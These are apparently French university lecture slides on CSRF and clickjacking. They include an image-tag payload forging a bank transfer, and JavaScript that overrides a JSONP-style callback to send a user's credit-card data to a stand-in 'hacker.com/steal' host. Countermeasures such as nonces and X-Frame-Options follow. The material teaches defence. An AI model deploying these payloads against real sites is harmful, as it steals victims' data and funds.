Fork me on GitHub

CSRF Cross Site Request Forgery

CSRF : attaques légitimes !

Cross-Site Request Forgeries : une faille intrinsèque du Web

Les acteurs

Servane, un server web possédant des données confidentielles.

Clélie, un utilisateur légitime authentifié ayant des droits sur les données.

Athanase, un attaquant malicieux qui :

  • connaît l’API du serveur (par ex., l’API est publique),
  • contrôle un site tiers sans rapport avec le server victime (par ex., son propre server, ou un site avec une injection XSS).

Les effets

Athanase gagne accès aux données confidentielles avec les droits de Clélie.

CSRF : Comment ?

Pré-requis…

  • Clélie est logguée sur le serveur (par ex., el garde un onglet ouvert sur une page de Servane) ;
  • Clélie tombe (par hasard) sur la page malicieuse d’Athanase.

…et ensuite

  • La page de l’attaquant déclenche une requête au serveur.
<html>
...
<h1>Recipe: Panini Reblochon Nutella</h1>
<h2>Ingrédients:</h2>
<ul>
<li>Two slices of bread</li>
...
<img width="0" height="0" src="http://servane.org/transfer?to=attacker&amount=10k"/>
  • Le browser de Clélie, en voulant télécharger l’image, déclanche un transfert d’argent authentifié.

Démo CSRF : e-campus 2

  1. Connectez-vous à http://e-campus2.uvsq.fr/,
  2. Allez vers la page du cours.
  3. Maintenant, supposons que vous visitiez un site au hasard (par ex., ce site !!!), contenant cet <iframe> (caché par display:none):
  1. Si vous cliquez ici, le formulaire est soumis, et le CSRF est exécuté.
  2. Maintenant rafraîchissez la page du cours et observez le résultat.

Note : Si le <iframe> avait été vraiment caché, vous n’auriez rien remarqué.

Note: Il aurait été possible de tout faire sans attendre de clic de l’utilisateur !

AJAX et CSRF : intercepter les données

  • À cause de la requête POST, l’attaque précédente n’aurait pas pu être menée uniquement avec XMLHttpRequest.
  • Mais AJAX offre des nouveaux points d’accès aux CSRF !

Imaginez une API authentifiée qui renvoie des requêtes JavaScript :

HTTP/1.1 200 OK
Content-Type: text/javascript
Access-Control-Allow-Origin: *
...

new UserData(
  "firstName", "Pinco"
  "lastName", Pallino",
  "creditCard", "XXXX XXXX XXXX XXXX",
);
  • Les données sont renvoyées dans un objet UserData à evaluer.
  • La définition de UserData est dans les scripts du client.
  • Ceci est similaire au paradigme JSONP.

L’application legitime

  1. Clélie charge le JavaScript fourni par le Servane
<script src="http://www.servane.org/js/api.js"></script>
  1. Le script contient la defintion de UserData
function Userdata() { this.creditCard = ... }
  1. Clélie client fait une requête AJAX à l’API
xhr = new XMLHttpRequest();
xhr.open("GET", "http://api.server.com/getUserData?user=1000");
  1. Clélie evalue le JavaScript et traite les données
var data = eval(xhr.response());
var card_number = data[5];

L’attaquant

  1. Athanase crée une page sur un autre server qu’il contrôle ;
  2. Inclut le JavaScript suivant (qui remplace la définition de UserData)
function UserData() {
    var img = new Image();
    img.src = "http://hacker.com/steal?" + Array.join(",", arguments);
}
  1. Il force Clélie à faire une requête à l’API
xhr = new XMLHttpRequest();
xhr.open("GET", "http://api.server.com/getUserData?user=1000");
  1. Le browser envoye les données à http://hacker.com/steal (à cause de l’Image()).

CSRF dans la vraie vie

GMail 2007 redirection de mail : des filtres de mails arbitraires ont pu être configurés via CSRF

GMail 2007 vol de contacts : les attaquants ont pu voler les carnets d’adresses

Contremesures CSRF

Utilisateur

  • Se djélogguer ;
  • Utiliser plusieurs browsers.

Développeur

  • Préférer POST à GET pour les requêtes qui déclenchent des actions ;
  • Contrôler l’entête Referer ;
  • Demander confirmation ;
  • Faire expirer rapidement les sessions ;
  • Utiliser des captchas ;
  • Ajouter des informations reliées à la session dans les URLs ;
  • Cacher des jetons aléatoires jetables (nonces) dans les formulaires.

Note : il n’existe pas encore de protection définitive !

Clickjacking et sécurité des Mash-up

Demander confirmation peut ne pas être suffisant !

Clickjacking : amener l’utilisateur à cliquer le bouton de confirmation sans son consentement

  • Inclure le formulaire de confirmation dans un <iframe> ;
  • Utiliser CSS pour superposer le <iframe> à du contenu apparemment inoffensif ;
  • Convaincre l’utilisateur à cliquer sur le contenu inoffensif ;
  • Le clic va au <iframe> de confirmation.

(Seule?) utilisation vérifiée : Twitter 2009 “Don’t click this” http://dsandler.org/outgoing/dontclick_orig.html

Clickjacking: Exemple

Suivez ce lien

Contremesures

Entête X-Frame-Options, partie du standard CSP

X-Frame-Options: SAMEORIGIN
  • Empêche aux browsers d’inclure la page dans des frames cross-domain ;
  • Twitter s’en sert depuis 2009…

Lectures

Google browser security guide (M. Zalewski)

CSRF

Clickjacking